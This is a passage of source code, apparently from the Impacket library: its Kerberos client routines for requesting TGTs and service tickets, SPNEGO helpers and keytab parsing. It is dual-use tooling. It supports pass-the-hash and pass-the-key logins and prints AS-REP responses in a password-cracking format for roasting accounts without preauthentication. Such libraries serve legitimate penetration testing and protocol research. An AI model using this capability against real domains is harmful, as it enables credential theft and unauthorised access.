LOG.debug(\"Server time (UTC): %s\" % server_time)\n        except:\n            # Couldn't get server time for some reason\n            pass\n        raise krbError\n\n    return r\n\ndef getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True, serverName=None, kerberoast_no_preauth=False):\n\n    # Convert to binary form, just in case we're receiving strings\n    if isinstance(lmhash, str):\n        try:\n            lmhash = unhexlify(lmhash)\n        except TypeError:\n            pass\n    if isinstance(nthash, str):\n        try:\n            nthash = unhexlify(nthash)\n        except TypeError:\n            pass\n    if isinstance(aesKey, str):\n        try:\n            aesKey = unhexlify(aesKey)\n        except TypeError:\n            pass\n    if serverName is not None and not isinstance(serverName, Principal):\n        try:\n            serverName = Principal(serverName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n        except TypeError:\n            pass\n\n    asReq = AS_REQ()\n\n    domain = domain.upper()\n\n    if serverName is None:\n        serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n    else:\n        serverName = Principal(serverName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n\n    pacRequest = KERB_PA_PAC_REQUEST()\n    pacRequest['include-pac'] = requestPAC\n    encodedPacRequest = encoder.encode(pacRequest)\n\n    asReq['pvno'] = 5\n    asReq['msg-type'] =  int(constants.ApplicationTagNumbers.AS_REQ.value)\n\n    asReq['padata'] = noValue\n    asReq['padata'][0] = noValue\n    asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)\n    asReq['padata'][0]['padata-value'] = encodedPacRequest\n\n    reqBody = seq_set(asReq, 'req-body')\n\n    opts = list()\n    opts.append( constants.KDCOptions.forwardable.value )\n    opts.append( constants.KDCOptions.renewable.value )\n    opts.append( constants.KDCOptions.proxiable.value )\n    reqBody['kdc-options']  = constants.encodeFlags(opts)\n\n    seq_set(reqBody, 'sname', serverName.components_to_asn1)\n    seq_set(reqBody, 'cname', clientName.components_to_asn1)\n\n    if domain == '':\n        raise Exception('Empty Domain not allowed in Kerberos')\n\n    reqBody['realm'] = domain\n\n    now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)\n    reqBody['till'] = KerberosTime.to_asn1(now)\n    reqBody['rtime'] = KerberosTime.to_asn1(now)\n    reqBody['nonce'] =  rand.getrandbits(31)\n\n    # Yes.. this shouldn't happen but it's inherited from the past\n    if aesKey is None:\n        aesKey = b''\n\n    if nthash == b'':\n        # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, \n        # but I found some systems that accepts all ciphers, and trigger an error \n        # when requesting subsequent TGS :(. More research needed.\n        # So, in order to support more than one cypher, I'm setting aes first\n        # since most of the systems would accept it. If we're lucky and \n        # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4.\n        if aesKey != b'':\n            if len(aesKey) == 32:\n                supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)\n            else:\n                supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)\n        else:\n            supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)\n    else:\n        # We have hashes to try, only way is to request RC4 only\n        supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)\n\n    seq_set_iter(reqBody, 'etype', supportedCiphers)\n\n    message = encoder.encode(asReq)\n\n    try:\n        r = sendReceive(message, domain, kdcHost)\n    except KerberosError as e:\n        if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:\n            if supportedCiphers[0] in (constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value) and aesKey == b'':\n                supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)\n                seq_set_iter(reqBody, 'etype', supportedCiphers)\n                message = encoder.encode(asReq)\n                r = sendReceive(message, domain, kdcHost)\n            else:\n                raise\n        else:\n            raise\n\n    # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the\n    # 'Do not require Kerberos preauthentication' set\n    preAuth = True\n    try:\n        asRep = decoder.decode(r, asn1Spec = KRB_ERROR())[0]\n    except:\n        # Most of the times we shouldn't be here, is this a TGT?\n        asRep = decoder.decode(r, asn1Spec=AS_REP())[0]\n        # Yes\n        preAuth = False\n\n    encryptionTypesData = dict()\n    salt = ''\n    if preAuth is False:\n        # In theory, we should have the right credentials for the etype specified before.\n        methods = asRep['padata']\n        encryptionTypesData[supportedCiphers[0]] = salt # handle RC4 fallback, we don't need any salt\n        tgt = r\n    else:\n        methods = decoder.decode(asRep['e-data'], asn1Spec=METHOD_DATA())[0]\n\n    for method in methods:\n        if method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:\n            etypes2 = decoder.decode(method['padata-value'], asn1Spec = ETYPE_INFO2())[0]\n            for etype2 in etypes2:\n                try:\n                    if etype2['salt'] is None or etype2['salt'].hasValue() is False:\n                        salt = ''\n                    else:\n                        salt = etype2['salt'].prettyPrint()\n                except PyAsn1Error:\n                    salt = ''\n\n                encryptionTypesData[etype2['etype']] = salt.encode('utf-8')\n        elif method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value:\n            etypes = decoder.decode(method['padata-value'], asn1Spec = ETYPE_INFO())[0]\n            for etype in etypes:\n                try:\n                    if etype['salt'] is None or etype['salt'].hasValue() is False:\n                        salt = ''\n                    else:\n                        salt = etype['salt'].prettyPrint()\n                except PyAsn1Error:\n                    salt = ''\n\n                encryptionTypesData[etype['etype']] = salt.encode('utf-8')\n\n    enctype = supportedCiphers[0]\n\n    cipher = _enctype_table[enctype]\n\n    # Pass the hash/aes key :P\n    if isinstance(nthash, bytes) and nthash != b'':\n        key = Key(cipher.enctype, nthash)\n    elif aesKey != b'':\n        key = Key(cipher.enctype, aesKey)\n    else:\n        key = cipher.string_to_key(password, encryptionTypesData[enctype], None)\n\n    if preAuth is True:\n        if enctype in encryptionTypesData is False:\n            raise Exception('No Encryption Data Available!')\n\n        # Let's build the timestamp\n        timeStamp = PA_ENC_TS_ENC()\n\n        now = datetime.datetime.now(datetime.timezone.utc)\n        timeStamp['patimestamp'] = KerberosTime.to_asn1(now)\n        timeStamp['pausec'] = now.microsecond\n\n        # Encrypt the shyte\n        encodedTimeStamp = encoder.encode(timeStamp)\n\n        # Key Usage 1\n        # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the\n        # client key (Section 5.2.7.2)\n        encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None)\n\n        encryptedData = EncryptedData()\n        encryptedData['etype'] = cipher.enctype\n        encryptedData['cipher'] = encriptedTimeStamp\n        encodedEncryptedData = encoder.encode(encryptedData)\n\n        # Now prepare the new AS_REQ again with the PADATA\n        # ToDo: cannot we reuse the previous one?\n        asReq = AS_REQ()\n\n        asReq['pvno'] = 5\n        asReq['msg-type'] =  int(constants.ApplicationTagNumbers.AS_REQ.value)\n\n        asReq['padata'] = noValue\n        asReq['padata'][0] = noValue\n        asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value)\n        asReq['padata'][0]['padata-value'] = encodedEncryptedData\n\n        asReq['padata'][1] = noValue\n        asReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)\n        asReq['padata'][1]['padata-value'] = encodedPacRequest\n\n        reqBody = seq_set(asReq, 'req-body')\n\n        opts = list()\n        opts.append( constants.KDCOptions.forwardable.value )\n        opts.append( constants.KDCOptions.renewable.value )\n        opts.append( constants.KDCOptions.proxiable.value )\n        reqBody['kdc-options'] = constants.encodeFlags(opts)\n\n        seq_set(reqBody, 'sname', serverName.components_to_asn1)\n        seq_set(reqBody, 'cname', clientName.components_to_asn1)\n\n        reqBody['realm'] =  domain\n\n        now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)\n        reqBody['till'] = KerberosTime.to_asn1(now)\n        reqBody['rtime'] =  KerberosTime.to_asn1(now)\n        reqBody['nonce'] = rand.getrandbits(31)\n\n        seq_set_iter(reqBody, 'etype', ( (int(cipher.enctype),)))\n\n        try:\n            tgt = sendReceive(encoder.encode(asReq), domain, kdcHost)\n        except Exception as e:\n            if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0:\n                if lmhash == b'' and nthash == b'' and (aesKey == b'' or aesKey is None):\n                    from impacket.ntlm import compute_lmhash, compute_nthash\n                    lmhash = compute_lmhash(password)\n                    nthash = compute_nthash(password)\n                    return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC)\n            raise\n\n\n        asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]\n\n    # So, we have the TGT, now extract the new session key and finish\n    cipherText = asRep['enc-part']['cipher']\n\n    if preAuth is False:\n        # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.\n        LOG.debug('$krb5asrep$%d$%s@%s:%s$%s' % (asRep['enc-part']['etype'],clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]),\n                                           hexlify(asRep['enc-part']['cipher'].asOctets()[16:])) )\n    # Key Usage 3\n    # AS-REP encrypted part (includes TGS session key or\n    # application session key), encrypted with the client key\n    # (Section 5.4.2)\n    try:\n        plainText = cipher.decrypt(key, 3, cipherText)\n    except InvalidChecksum as e:\n        # probably bad password if preauth is disabled\n        if preAuth is False:\n            error_msg = \"failed to decrypt session key: %s\" % str(e)\n            if kerberoast_no_preauth:\n                LOG.debug(SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText))\n                return tgt, None, key, None\n            else:\n                raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText)\n        raise\n    encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]\n\n    # Get the session key and the ticket\n    cipher = _enctype_table[encASRepPart['key']['keytype']]\n    sessionKey = Key(cipher.enctype,encASRepPart['key']['keyvalue'].asOctets())\n\n    # ToDo: Check Nonces!\n\n    return tgt, cipher, key, sessionKey\n\ndef getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey, renew = False):\n\n    # Decode the TGT\n    try:\n        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]\n    except:\n        decodedTGT = decoder.decode(tgt, asn1Spec = TGS_REP())[0]\n\n    domain = domain.upper()\n    # Extract the ticket from the TGT\n    ticket = Ticket()\n    ticket.from_asn1(decodedTGT['ticket'])\n\n    apReq = AP_REQ()\n    apReq['pvno'] = 5\n    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)\n\n    opts = list()\n    apReq['ap-options'] =  constants.encodeFlags(opts)\n    seq_set(apReq,'ticket', ticket.to_asn1)\n\n    authenticator = Authenticator()\n    authenticator['authenticator-vno'] = 5\n    authenticator['crealm'] = decodedTGT['crealm'].asOctets()\n\n    clientName = Principal()\n    clientName.from_asn1( decodedTGT, 'crealm', 'cname')\n\n    seq_set(authenticator, 'cname', clientName.components_to_asn1)\n\n    now = datetime.datetime.now(datetime.timezone.utc)\n    authenticator['cusec'] =  now.microsecond\n    authenticator['ctime'] = KerberosTime.to_asn1(now)\n\n    encodedAuthenticator = encoder.encode(authenticator)\n\n    # Key Usage 7\n    # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes\n    # TGS authenticator subkey), encrypted with the TGS session\n    # key (Section 5.5.1)\n    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)\n\n    apReq['authenticator'] = noValue\n    apReq['authenticator']['etype'] = cipher.enctype\n    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator\n\n    encodedApReq = encoder.encode(apReq)\n\n    tgsReq = TGS_REQ()\n\n    tgsReq['pvno'] =  5\n    tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)\n    tgsReq['padata'] = noValue\n    tgsReq['padata'][0] = noValue\n    tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)\n    tgsReq['padata'][0]['padata-value'] = encodedApReq\n\n    reqBody = seq_set(tgsReq, 'req-body')\n\n    opts = list()\n    opts.append( constants.KDCOptions.forwardable.value )\n    opts.append( constants.KDCOptions.renewable.value )\n    opts.append( constants.KDCOptions.renewable_ok.value )\n    opts.append( constants.KDCOptions.canonicalize.value )\n\n    if renew == True:\n        opts.append( constants.KDCOptions.renew.value )\n\n    reqBody['kdc-options'] = constants.encodeFlags(opts)\n    seq_set(reqBody, 'sname', serverName.components_to_asn1)\n    reqBody['realm'] = domain\n\n    now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)\n\n    reqBody['till'] = KerberosTime.to_asn1(now)\n    reqBody['nonce'] = rand.getrandbits(31)\n    seq_set_iter(reqBody, 'etype',\n                      (\n                          int(constants.EncryptionTypes.rc4_hmac.value),\n                          int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),\n                          int(constants.EncryptionTypes.des_cbc_md5.value),\n                          int(cipher.enctype)\n                       )\n                )\n\n    message = encoder.encode(tgsReq)\n\n    r = sendReceive(message, domain, kdcHost)\n\n    # Get the session key\n\n    tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]\n\n    cipherText = tgs['enc-part']['cipher']\n\n    # Key Usage 8\n    # TGS-REP encrypted part (includes application session\n    # key), encrypted with the TGS session key (Section 5.4.2)\n    plainText = cipher.decrypt(sessionKey, 8, cipherText)\n\n    encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]\n\n    newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'].asOctets())\n    # Creating new cipher based on received keytype\n    cipher = _enctype_table[encTGSRepPart['key']['keytype']]\n\n    # Check we've got what we asked for\n    res = decoder.decode(r, asn1Spec = TGS_REP())[0]\n    spn = Principal()\n    spn.from_asn1(res['ticket'], 'realm', 'sname')\n\n    if spn.components[0] == serverName.components[0]:\n        # Yes.. bye bye\n        return r, cipher, sessionKey, newSessionKey\n    else:\n        # Let's extract the Ticket, change the domain and keep asking\n        domain = spn.components[1]\n        return getKerberosTGS(serverName, domain, kdcHost, r, cipher, newSessionKey)\n\n################################################################################\n# DCE RPC Helpers\n################################################################################\ndef getKerberosType3(cipher, sessionKey, auth_data):\n    negTokenResp = SPNEGO_NegTokenResp(auth_data)\n    # If DCE_STYLE = FALSE\n    #ap_rep = decoder.decode(negTokenResp['ResponseToken'][16:], asn1Spec=AP_REP())[0]\n    try:\n        krbError = KerberosError(packet = decoder.decode(negTokenResp['ResponseToken'][15:], asn1Spec = KRB_ERROR())[0])\n    except Exception:\n        pass\n    else:\n        raise krbError\n\n    ap_rep = decoder.decode(negTokenResp['ResponseToken'], asn1Spec=AP_REP())[0]\n\n    cipherText = ap_rep['enc-part']['cipher']\n\n    # Key Usage 12\n    # AP-REP encrypted part (includes application session\n    # subkey), encrypted with the application session key\n    # (Section 5.5.2)\n    plainText = cipher.decrypt(sessionKey, 12, cipherText)\n\n    encAPRepPart = decoder.decode(plainText, asn1Spec = EncAPRepPart())[0]\n\n    cipher = _enctype_table[int(encAPRepPart['subkey']['keytype'])]()\n    sessionKey2 = Key(cipher.enctype, encAPRepPart['subkey']['keyvalue'].asOctets())\n\n    sequenceNumber = int(encAPRepPart['seq-number'])\n\n    encAPRepPart['subkey'].clear()\n    encAPRepPart = encAPRepPart.clone()\n\n    now = datetime.datetime.now(datetime.timezone.utc)\n    encAPRepPart['cusec'] = now.microsecond\n    encAPRepPart['ctime'] = KerberosTime.to_asn1(now)\n    encAPRepPart['seq-number'] = sequenceNumber\n    encodedAuthenticator = encoder.encode(encAPRepPart)\n\n    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 12, encodedAuthenticator, None)\n\n    ap_rep['enc-part'].clear()\n    ap_rep['enc-part']['etype'] = cipher.enctype\n    ap_rep['enc-part']['cipher'] = encryptedEncodedAuthenticator\n\n    resp = SPNEGO_NegTokenResp()\n    resp['ResponseToken'] = encoder.encode(ap_rep)\n\n    return cipher, sessionKey2, resp.getData()\n\n\ndef getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='',\n                     kdcHost = None, useCache = True):\n\n    # Convert to binary form, just in case we're receiving strings\n    if isinstance(lmhash, str):\n        try:\n            lmhash = unhexlify(lmhash)\n        except TypeError:\n            pass\n    if isinstance(nthash, str):\n        try:\n            nthash = unhexlify(nthash)\n        except TypeError:\n            pass\n    if isinstance(aesKey, str):\n        try:\n            aesKey = unhexlify(aesKey)\n        except TypeError:\n            pass\n\n    targetName = 'host/%s' % targetName\n    if TGT is None and TGS is None:\n        if useCache:\n            domain, username, TGT, TGS = CCache.parseFile(domain, username, targetName)\n\n    # First of all, we need to get a TGT for the user\n    userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n    while True:\n        if TGT is None:\n            if TGS is None:\n                try:\n                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)\n                except KerberosError as e:\n                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:\n                        # We might face this if the target does not support AES \n                        # So, if that's the case we'll force using RC4 by converting\n                        # the password to lm/nt hashes and hope for the best. If that's already\n                        # done, byebye.\n                        if lmhash == b'' and nthash == b'' and (aesKey == b'' or aesKey is None) and TGT is None and TGS is None:\n                            from impacket.ntlm import compute_lmhash, compute_nthash\n                            LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')\n                            lmhash = compute_lmhash(password)\n                            nthash = compute_nthash(password)\n                            continue\n                        else:\n                            raise\n                    else:\n                        raise\n\n        else:\n            tgt = TGT['KDC_REP']\n            cipher = TGT['cipher']\n            sessionKey = TGT['sessionKey']\n\n        # Now that we have the TGT, we should ask for a TGS for cifs\n        if TGS is None:\n            serverName = Principal(targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)\n            try:\n                tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)\n            except KerberosError as e:\n                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:\n                    # We might face this if the target does not support AES \n                    # So, if that's the case we'll force using RC4 by converting\n                    # the password to lm/nt hashes and hope for the best. If that's already\n                    # done, byebye.\n                    if lmhash == b'' and nthash == b'' and (aesKey == b'' or aesKey is None) and TGT is None and TGS is None:\n                        from impacket.ntlm import compute_lmhash, compute_nthash\n                        LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')\n                        lmhash = compute_lmhash(password)\n                        nthash = compute_nthash(password)\n                    else:\n                        raise\n                else:\n                    raise\n            else:\n                break\n        else:\n            tgs = TGS['KDC_REP']\n            cipher = TGS['cipher']\n            sessionKey = TGS['sessionKey']\n            break\n\n    # Let's build a NegTokenInit with a Kerberos REQ_AP\n\n    blob = SPNEGO_NegTokenInit()\n\n    # Kerberos\n    blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]\n\n    # Let's extract the ticket from the TGS\n    tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]\n    ticket = Ticket()\n    ticket.from_asn1(tgs['ticket'])\n\n    # Now let's build the AP_REQ\n    apReq = AP_REQ()\n    apReq['pvno'] = 5\n    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)\n\n    opts = list()\n    opts.append(constants.APOptions.mutual_required.value)\n    apReq['ap-options'] = constants.encodeFlags(opts)\n    seq_set(apReq,'ticket', ticket.to_asn1)\n\n    authenticator = Authenticator()\n    authenticator['authenticator-vno'] = 5\n    authenticator['crealm'] = domain\n    seq_set(authenticator, 'cname', userName.components_to_asn1)\n    now = datetime.datetime.now(datetime.timezone.utc)\n\n    authenticator['cusec'] = now.microsecond\n    authenticator['ctime'] = KerberosTime.to_asn1(now)\n\n\n    authenticator['cksum'] = noValue\n    authenticator['cksum']['cksumtype'] = 0x8003\n\n    chkField = CheckSumField()\n    chkField['Lgth'] = 16\n\n    chkField['Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE\n    #chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE\n    authenticator['cksum']['checksum'] = chkField.getData()\n    authenticator['seq-number'] = 0\n    encodedAuthenticator = encoder.encode(authenticator)\n\n    # Key Usage 11\n    # AP-REQ Authenticator (includes application authenticator\n    # subkey), encrypted with the application session key\n    # (Section 5.5.1)\n    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)\n\n    apReq['authenticator'] = noValue\n    apReq['authenticator']['etype'] = cipher.enctype\n    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator\n\n    blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode(\n            TypesMech['KRB5 - Kerberos 5'] ) + KRB5_AP_REQ + encoder.encode(apReq))\n\n    return cipher, sessionKey, blob.getData()\n\n\nclass SessionKeyDecryptionError(Exception):\n    \"\"\"\n    Exception risen when we fail to decrypt a session key within an AS-REP\n    message.\n    It provides context information such as full AS-REP message but also the\n    cipher, key and cipherText used when the error occurred.\n    \"\"\"\n    def __init__( self, message, asRep, cipher, key, cipherText):\n        self.message = message\n        self.asRep = asRep\n        self.cipher = cipher\n        self.key = key\n        self.cipherText = cipherText\n\n    def __str__ ( self):\n        return \"SessionKeyDecryptionError: %s\" % self.message\n\n\nclass KerberosError(SessionError):\n    \"\"\"\n    This is the exception every client should catch regardless of the underlying\n    SMB version used. We'll take care of that. NETBIOS exceptions are NOT included,\n    since all SMB versions share the same NETBIOS instances.\n    \"\"\"\n    def __init__( self, error = 0, packet=0):\n        SessionError.__init__(self)\n        self.error = error\n        self.packet = packet\n        if packet != 0:\n            self.error = self.packet['error-code']\n\n    def getErrorCode( self ):\n        return self.error\n\n    def getErrorPacket( self ):\n        return self.packet\n\n    def getErrorString( self ):\n        return constants.ERROR_MESSAGES[self.error]\n\n    def __str__( self ):\n        retString = 'Kerberos SessionError: %s(%s)' % (constants.ERROR_MESSAGES[self.error])\n        try:\n            # Let's try to get the NT ERROR, if not, we quit and give the general one\n            if self.error == constants.ErrorCodes.KRB_ERR_GENERIC.value:\n                eData = decoder.decode(self.packet['e-data'], asn1Spec = KERB_ERROR_DATA())[0]\n                nt_error = struct.unpack('<L', eData['data-value'].asOctets()[:4])[0]\n\n                if nt_error in nt_errors.ERROR_MESSAGES:\n                    error_msg_short = nt_errors.ERROR_MESSAGES[nt_error][0] \n                    error_msg_verbose = nt_errors.ERROR_MESSAGES[nt_error][1] \n                    retString += '\\nNT ERROR: code: 0x%x - %s - %s' % (nt_error, error_msg_short, error_msg_verbose)\n                else:\n                    retString += '\\nNT ERROR: unknown error code: 0x%x' % nt_error\n            \n            elif self.error == constants.ErrorCodes.KDC_ERR_CLIENT_REVOKED.value:\n                try:\n                    eData, _ = decoder.decode(self.packet['e-data'].asOctets())\n                    octet_string = eData[0][1].asOctets()\n                    superseded, _ = decoder.decode(octet_string, asn1Spec=KERB_SUPERSEDED_BY_USER())\n                    name = superseded['name']['name-string'][0].prettyPrint()\n                    retString += f\". Account is superseded by {name}\"\n                except Exception:\n                    pass\n        except Exception:\n            pass\n\n        return retString\n"
  },
  {
    "path": "impacket/krb5/keytab.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Kerberos Keytab format implementation\n#   based on file format described at:\n#   https://repo.or.cz/w/krb5dissect.git/blob_plain/HEAD:/keytab.txt\n#   As the ccache implementation, pretty lame and quick\n#   Feel free to improve\n#\n# Author:\n#   Patrick Welzel (@kcirtapw)\n#\nfrom datetime import datetime\nfrom enum import Enum\nfrom six import b\n\nfrom struct import pack, unpack, calcsize\nfrom binascii import hexlify\n\nfrom impacket.structure import Structure\nfrom impacket import LOG\n\n\nclass Enctype(Enum):\n    DES_CRC = 1\n    DES_MD4 = 2\n    DES_MD5 = 3\n    DES3 = 16\n    AES128 = 17\n    AES256 = 18\n    RC4 = 23\n\n\nclass CountedOctetString(Structure):\n    \"\"\"\n    Note: This is very similar to the CountedOctetString structure in ccache, except:\n      * `length` is uint16 instead of uint32\n    \"\"\"\n    structure = (\n        ('length','!H=0'),\n        ('_data','_-data','self[\"length\"]'),\n        ('data',':'),\n    )\n\n    def prettyPrint(self, indent=''):\n        return \"%s%s\" % (indent, hexlify(self['data']))\n\n\nclass KeyBlock(Structure):\n    structure = (\n        ('keytype','!H=0'),\n        ('keyvalue',':', CountedOctetString),\n    )\n\n    def prettyKeytype(self):\n        try:\n            return Enctype(self['keytype']).name\n        except:\n            return \"UNKNOWN:0x%x\" % (self['keytype'])\n\n    def hexlifiedValue(self):\n        return hexlify(self['keyvalue']['data'])\n\n    def prettyPrint(self):\n        return \"(%s)%s\" % (self.prettyKeytype(), self.hexlifiedValue())\n\n\nclass KeytabPrincipal:\n    \"\"\"\n    Note: This is very similar to the principal structure in ccache, except:\n      * `num_components` is just uint16\n      * using other size type for CountedOctetString\n      * `name_type` field follows the other fields behind.\n    \"\"\"\n    class PrincipalHeader1(Structure):\n        structure = (\n            ('num_components', '!H=0'),\n        )\n\n    class PrincipalHeader2(Structure):\n        structure = (\n            ('name_type', '!L=0'),\n        )\n\n    def __init__(self, data=None):\n        self.components = []\n        self.realm = None\n        if data is not None:\n            self.header1 = self.PrincipalHeader1(data)\n            data = data[len(self.header1):]\n            self.realm = CountedOctetString(data)\n            data = data[len(self.realm):]\n            self.components = []\n            for component in range(self.header1['num_components']):\n                comp = CountedOctetString(data)\n                data = data[len(comp):]\n                self.components.append(comp)\n            self.header2 = self.PrincipalHeader2(data)\n        else:\n            self.header1 = self.PrincipalHeader1()\n            self.header2 = self.PrincipalHeader2()\n\n    def __len__(self):\n        totalLen = len(self.header1) + len(self.header2) + len(self.realm)\n        for i in self.components:\n            totalLen += len(i)\n        return totalLen\n\n    def getData(self):\n        data = self.header1.getData() + self.realm.getData()\n        for component in self.components:\n            data += component.getData()\n        data += self.header2.getData()\n        return data\n\n    def __str__(self):\n        return self.getData()\n\n    def prettyPrint(self):\n        principal = b''\n        for component in self.components:\n            if isinstance(component['data'], bytes) is not True:\n                component = b(component['data'])\n            else:\n                component = component['data']\n            principal += component + b'/'\n\n        principal = principal[:-1]\n        if isinstance(self.realm['data'], bytes):\n            realm = self.realm['data']\n        else:\n            realm = b(self.realm['data'])\n        principal += b'@' + realm\n        return principal\n\n\nclass KeytabEntry:\n    class KeytabEntryMainpart(Structure):\n        \"\"\"\n      keytab_entry {\n          int32_t size;     # wtf, signed size. what could possibly ...\n          uint16_t num_components;    /* sub 1 if version 0x501 */  |\\\n          counted_octet_string realm;                               | \\\\  Keytab\n          counted_octet_string components[num_components];          | /  Princial\n          uint32_t name_type;   /* not present if version 0x501 */  |/\n          uint32_t timestamp;\n          uint8_t vno8;\n          keyblock key;\n          uint32_t vno; /* only present if >= 4 bytes left in entry */\n      };\n        \"\"\"\n        structure = (\n            ('size', '!l=0'),\n            ('principal', ':', KeytabPrincipal),\n            ('timestamp', '!L=0'),\n            ('vno8', '!B=0'),\n            ('keyblock', ':', KeyBlock),\n        )\n\n    def __init__(self, data=None):\n        self.rest = b''\n        if data:\n            self.main_part = self.KeytabEntryMainpart(data)\n            self.size = abs(self.main_part['size']) + 4  # size field itself not included\n            self.kvno = self.main_part['vno8']\n            self.deleted = self.main_part['size'] < 0\n            len_main = len(self.main_part)\n            if self.size > len_main:\n                self.rest = data[len_main:self.size]\n                if len(self.rest) >= 4 and \\\n                        self.rest[:4] != [0, 0, 0, 0]:  # if \"field\" is present but all 0, it seems to gets ignored\n                    self.kvno = unpack('!L', self.rest[:4])[0]\n        else:\n            self.main_part = self.KeytabEntryMainpart()\n            self.deleted = True\n            self.size = len(self.main_part)\n            self.kvno = 0\n\n    def __len__(self):\n        return self.size\n\n    def getData(self):\n        data = self.main_part.getData()\n        if self.rest:\n            data += self.rest\n        return data\n\n    def prettyPrint(self, indent=''):\n        if self.deleted:\n            return \"%s[DELETED]\" % indent\n        else:\n            text = \"%sPrincipal: %s\\n\" %(indent, self.main_part['principal'].prettyPrint())\n            text += \"%sTimestamp: %s\" % (indent, datetime.fromtimestamp(self.main_part['timestamp']).isoformat())\n            text += \"\\tKVNO: %i\\n\" % self.kvno\n            text += \"%sKey: %s\" % (indent, self.main_part['keyblock'].prettyPrint())\n            #if self.rest:\n            #    text += \"\\n%sRest: %s\" % (indent, self.rest)\n            return text\n\n\nclass Keytab:\n\n    GetkeyEnctypePreference = (Enctype.AES256.value,\n                                 Enctype.AES128.value,\n                                 Enctype.RC4.value)\n\n    class MiniHeader(Structure):\n        structure = (\n            ('file_format_version', '!H=0x0502'),\n        )\n\n    def __init__(self, data=None):\n        self.miniHeader = None\n        self.entries = []\n        if data is not None:\n            self.miniHeader = self.MiniHeader(data)\n            data = data[len(self.miniHeader):]\n            while len(data):\n                entry = KeytabEntry(data)\n                self.entries.append(entry)\n                data = data[len(entry):]\n\n    def getData(self):\n        data = self.MiniHeader().getData()\n        for entry in self.entries:\n            data += entry.getData()\n        return data\n\n    def getKey(self, principal, specificEncType=None, 